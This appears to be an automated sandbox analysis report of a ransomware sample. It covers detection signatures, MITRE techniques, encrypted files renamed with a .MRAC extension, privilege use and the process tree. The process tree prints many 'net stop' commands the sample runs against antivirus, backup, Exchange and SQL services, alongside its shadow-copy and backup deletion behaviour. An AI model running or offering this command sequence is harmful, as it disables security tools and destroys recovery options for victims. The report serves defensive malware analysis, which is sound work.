768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91

General

Target

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Size

338KB
MD5

b99ce03482978a861c883bb772be3b25
SHA1

84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
SHA256

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
SHA512

a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

3352 bcdedit.exe
3372 bcdedit.exe
Deletes System State backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exewbadmin.exe

pid process

3388 wbadmin.exe
3468 wbadmin.exe

pid	process
3352	bcdedit.exe
3372	bcdedit.exe

pid	process
3388	wbadmin.exe
3468	wbadmin.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\WriteRepair.tif => C:\Users\Admin\Pictures\WriteRepair.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\CompareGet.raw => C:\Users\Admin\Pictures\CompareGet.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\DisconnectRegister.tif => C:\Users\Admin\Pictures\DisconnectRegister.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\GrantSkip.tif => C:\Users\Admin\Pictures\GrantSkip.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\SuspendPublish.raw => C:\Users\Admin\Pictures\SuspendPublish.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\UnprotectComplete.tif => C:\Users\Admin\Pictures\UnprotectComplete.tif.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\WaitPublish.raw => C:\Users\Admin\Pictures\WaitPublish.raw.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
File renamed	C:\Users\Admin\Pictures\WatchGet.png => C:\Users\Admin\Pictures\WatchGet.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

Deletes itself 1 IoCs

Processes:

Cmd.exe

pid process

3820 Cmd.exe

pid	process
3820	Cmd.exe

Drops file in Windows directory 6 IoCs

Processes:

wbadmin.exewbadmin.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\Wbadmin.1.etl	wbadmin.exe

Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

4052 vssadmin.exe
3264 vssadmin.exe

pid	process
4052	vssadmin.exe
3264	vssadmin.exe

Kills process with taskkill 45 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
3788	taskkill.exe
3032	taskkill.exe
3232	taskkill.exe
3208	taskkill.exe
3380	taskkill.exe
3572	taskkill.exe
3836	taskkill.exe
3884	taskkill.exe
3908	taskkill.exe
2664	taskkill.exe
3136	taskkill.exe
3980	taskkill.exe
3160	taskkill.exe
3356	taskkill.exe
3428	taskkill.exe
3452	taskkill.exe
3524	taskkill.exe
3620	taskkill.exe
2940	taskkill.exe
3012	taskkill.exe
3860	taskkill.exe
3956	taskkill.exe
3668	taskkill.exe
3812	taskkill.exe
3332	taskkill.exe
3716	taskkill.exe
2556	taskkill.exe
3256	taskkill.exe
3500	taskkill.exe
3692	taskkill.exe
3740	taskkill.exe
3280	taskkill.exe
3304	taskkill.exe
3476	taskkill.exe
3548	taskkill.exe
3596	taskkill.exe
4004	taskkill.exe
3088	taskkill.exe
3112	taskkill.exe
3932	taskkill.exe
3184	taskkill.exe
3404	taskkill.exe
4028	taskkill.exe
3644	taskkill.exe
3764	taskkill.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3844 PING.EXE

pid	process
3844	PING.EXE

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exevssvc.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeDebugPrivilege	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Token: SeBackupPrivilege	3076	vssvc.exe
Token: SeRestorePrivilege	3076	vssvc.exe
Token: SeAuditPrivilege	3076	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1912	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1912 wrote to memory of 544	1912	net.exe	net1.exe
PID 1912 wrote to memory of 544	1912	net.exe	net1.exe
PID 1912 wrote to memory of 544	1912	net.exe	net1.exe
PID 1912 wrote to memory of 544	1912	net.exe	net1.exe
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 596	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 596 wrote to memory of 756	596	net.exe	net1.exe
PID 596 wrote to memory of 756	596	net.exe	net1.exe
PID 596 wrote to memory of 756	596	net.exe	net1.exe
PID 596 wrote to memory of 756	596	net.exe	net1.exe
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1240	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1240 wrote to memory of 1492	1240	net.exe	net1.exe
PID 1240 wrote to memory of 1492	1240	net.exe	net1.exe
PID 1240 wrote to memory of 1492	1240	net.exe	net1.exe
PID 1240 wrote to memory of 1492	1240	net.exe	net1.exe
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 112	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 112 wrote to memory of 1852	112	net.exe	net1.exe
PID 112 wrote to memory of 1852	112	net.exe	net1.exe
PID 112 wrote to memory of 1852	112	net.exe	net1.exe
PID 112 wrote to memory of 1852	112	net.exe	net1.exe
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 688	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 688 wrote to memory of 900	688	net.exe	net1.exe
PID 688 wrote to memory of 900	688	net.exe	net1.exe
PID 688 wrote to memory of 900	688	net.exe	net1.exe
PID 688 wrote to memory of 900	688	net.exe	net1.exe
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1832	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1832 wrote to memory of 436	1832	net.exe	net1.exe
PID 1832 wrote to memory of 436	1832	net.exe	net1.exe
PID 1832 wrote to memory of 436	1832	net.exe	net1.exe
PID 1832 wrote to memory of 436	1832	net.exe	net1.exe
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1812	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1812 wrote to memory of 1216	1812	net.exe	net1.exe
PID 1812 wrote to memory of 1216	1812	net.exe	net1.exe
PID 1812 wrote to memory of 1216	1812	net.exe	net1.exe
PID 1812 wrote to memory of 1216	1812	net.exe	net1.exe
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1788 wrote to memory of 1328	1788	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe	net.exe
PID 1328 wrote to memory of 1904	1328	net.exe	net1.exe
PID 1328 wrote to memory of 1904	1328	net.exe	net1.exe
PID 1328 wrote to memory of 1904	1328	net.exe	net1.exe
PID 1328 wrote to memory of 1904	1328	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
3⤵
PID:544

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
3⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
3⤵
PID:1492

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
3⤵
PID:1852

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
3⤵
PID:900

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
3⤵
PID:436

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
3⤵
PID:1216

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
3⤵
PID:1904

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
2⤵
PID:1752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
3⤵
PID:632

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
2⤵
PID:1228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
3⤵
PID:1096

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
2⤵
PID:840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
3⤵
PID:1108

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
2⤵
PID:1352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
3⤵
PID:1964

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
2⤵
PID:1156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
3⤵
PID:1612

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
2⤵
PID:1616

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
3⤵
PID:580

C:\Windows\SysWOW64\net.exe
net stop SQLsafe /y
2⤵
PID:524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe /y
3⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
2⤵
PID:1380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
3⤵
PID:584

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
2⤵
PID:880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
3⤵
PID:864

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
2⤵
PID:900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
3⤵
PID:988

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
2⤵
PID:1120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:1824

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
2⤵
PID:1756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:844

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
2⤵
PID:1268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
3⤵
PID:1028

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
2⤵
PID:1628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
3⤵
PID:1108

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
2⤵
PID:1712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:1500

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
2⤵
PID:984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:1704

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
2⤵
PID:588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
3⤵
PID:472

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
2⤵
PID:484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:584

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
2⤵
PID:1852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:1856

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
2⤵
PID:396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
2⤵
PID:1824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2024

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
2⤵
PID:1904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
3⤵
PID:1184

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
2⤵
PID:1700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
3⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
2⤵
PID:1376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
3⤵
PID:544

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
2⤵
PID:908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
3⤵
PID:776

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
2⤵
PID:1204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
3⤵
PID:940

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
2⤵
PID:1372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
3⤵
PID:1316

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
2⤵
PID:276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
2⤵
PID:1480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
3⤵
PID:844

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
2⤵
PID:1684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
3⤵
PID:1660

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
2⤵
PID:1028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:1964

C:\Windows\SysWOW64\net.exe
net stop masvc /y
2⤵
PID:1928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
3⤵
PID:1128

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
2⤵
PID:1736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:756

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
2⤵
PID:1368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
3⤵
PID:864

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
2⤵
PID:1316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
2⤵
PID:988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
3⤵
PID:1060

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
2⤵
PID:1184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop McShield /y
2⤵
PID:1932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
3⤵
PID:1704

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
2⤵
PID:472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
3⤵
PID:576

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
2⤵
PID:864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
3⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
2⤵
PID:1400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
3⤵
PID:2024

C:\Windows\SysWOW64\net.exe
net stop MMS /y
2⤵
PID:1964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
3⤵
PID:1076

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
2⤵
PID:1128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
3⤵
PID:268

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
2⤵
PID:1528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
3⤵
PID:1060

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
2⤵
PID:2024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
3⤵
PID:1076

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
2⤵
PID:1720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
3⤵
PID:776

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
2⤵
PID:1008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
3⤵
PID:544

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
2⤵
PID:1704

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
3⤵
PID:576

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
2⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
3⤵
PID:1200

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
2⤵
PID:576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
3⤵
PID:1200

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
2⤵
PID:544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
3⤵
PID:268

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
2⤵
PID:1200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
3⤵
PID:2056

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
2⤵
PID:2064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
3⤵
PID:2084

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
2⤵
PID:2092

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
2⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
3⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
2⤵
PID:2148

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
3⤵
PID:2168

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
2⤵
PID:2176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
3⤵
PID:2196

